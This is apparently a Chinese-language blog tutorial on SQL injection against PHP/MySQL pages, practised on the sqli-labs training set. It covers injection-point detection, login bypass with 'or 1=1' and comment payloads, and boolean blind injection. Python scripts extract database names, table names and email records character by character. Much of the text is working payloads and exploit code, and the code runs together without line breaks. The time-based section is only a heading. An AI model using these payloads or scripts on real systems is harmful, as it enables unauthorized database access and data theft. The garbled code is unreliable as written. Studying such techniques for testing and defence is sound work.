sql注入(晨版)
sql 注入:
1.sql注入最重要的過程,單引號判斷注入最常見。
分為三大類:get、post、cookie
簡單判斷get型:
http://host/test.php?id=100’ 返回錯誤說明有可能注入http://host/test.php?id=100 and 1=1 返回正常http://host/test.php?id=100 and 1=2返回錯誤如果出現以上三種錯誤,基本盤判定為注入點
#盲注中只會回顯錯誤或者正確,不會報錯
2.判斷注入類型
注入類型分為:數字型,字符型,搜索型,內聯式,終止式。
數字型,傳入參數為數字,回顯錯誤正確來判斷:
http://host/test.php?id=100 and 1=1 返回成功http://host/test.php?id=100 and 1=2 返回失敗也就是說,后臺sql語句查詢判斷傳入參數為數字,不用閉合sql語句。
字符型,傳入閉合字符,查詢是否出錯:
http://host/test.php?name=man' and '1'='1 返回成功http://host/test.php?name=man' and '1'='2返回失敗這里比上面多了 ‘ 所以判斷回顯正確錯誤,說明后臺查詢語句查詢的是字符串,進行sql注入的時候就需要傳入閉合來進行。
搜索型,借用like語句進行搜索,like中**%**為通配符,由于進行了通配符的匹配無法進行正常的測試,依然是構造閉合條件來進行匹配:
SELECT * FROM news WHERE keyword like '%$keyword%' 這里的$keyword是用戶的輸入 當我們輸入以下語句的時候 pt%' and 1=1 and '%'=' 最終我們得到的語句是這樣的 SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 這個語句又一次的閉合了內聯型,指的是進行查詢的注入之后,原來的查詢依然在進行,也就是說,雖然有錯但是依然執行,需要注意的是,由于sql語句中使用了 AND 使得語句中錯誤一個返回的都為錯誤,常見的就是登陸頁面,利用方法為構造 OR 1 = 1 來進行繞過,但是一定要注意邏輯先后順序 SQL語句中AND運算優先級大于OR :
SELECT * FROM admin WHER username='$name' AND password ='$passwd'這個時候我們想辦法繞過AND,所以從password=’or 1 = 1,所謂的萬能密碼就是這種的繞過方式。
如果你從username輸入,就會導致:
SELECT * FROM admin WHER username = '' or '1'='1' AND password = '' 此時先進行 '1' = '1' AND password = ''的判斷,結果為 0 然后進行 username = '' or 0 由于username 不可能為空,所以此時為 0 or 0 為 0 最終顯示錯誤,所以萬能密碼叫做萬能密碼,不叫萬能賬號。終止型,可以進行輸入注釋符來進行后面語句的注釋:
上面的題型,如果我們想要進行注入的話,我們需要注釋掉后面的 password 就能成功:
輸入:' or ''='' -- 后臺查詢語句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz' 只進行前兩個語句,AND 后面不進行,導致返回為真盲注:
盲注分為三個類型:
基于布爾的盲注
基于時間的盲注
基于報錯的盲注
布爾類型盲注:
mysql 一些內置函數:
length()返回內容的字符串的長度 ascii() 返回字符的ascii碼 substr(str,start,length) 截取字符串三步走:
0x00:爆庫
url and length(database())>0 # // 最后的數字可以進行更換來確定庫名的長度。當確定了庫名長度之后,利用python腳本來進行爆破。
import requests def get_db_name():result = ""url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'for i in range(1,9):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#根據返回長度的不同來判斷字符正確與否if length>706:result += charbreakprint(result)0x01:爆表
url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23 依然是優先判斷表的長度當判讀出表的長度的時候就可以使用python腳本繼續跑
import requests def get_table_name():result = ""url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 內容的值限制了表的次序,例如第二張表名就切換為 1,2)chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'for i in range(1,7):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#返回的長度只有706和722if length>706:result += charbreakprint(result)0x02:脫庫
脫庫之前先判斷 emails 表中的記錄數
url+?id=2' and (select count(*) from emails)>0 %23 #count函數用于查詢表內的記錄數確定了表中的記錄數之后我們進行下一步的脫庫
url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23確定內容的長度。
py跑一下
def get_data():result = ""url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'for i in range(1,17):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#返回的長度只有706和722if length>706:result += charbreakprint(result)另外就是使用sqlmap。
基于時間的盲注:
總結
- 上一篇: sql-labs page1 (1~2
- 下一篇: sql 注入 相关函数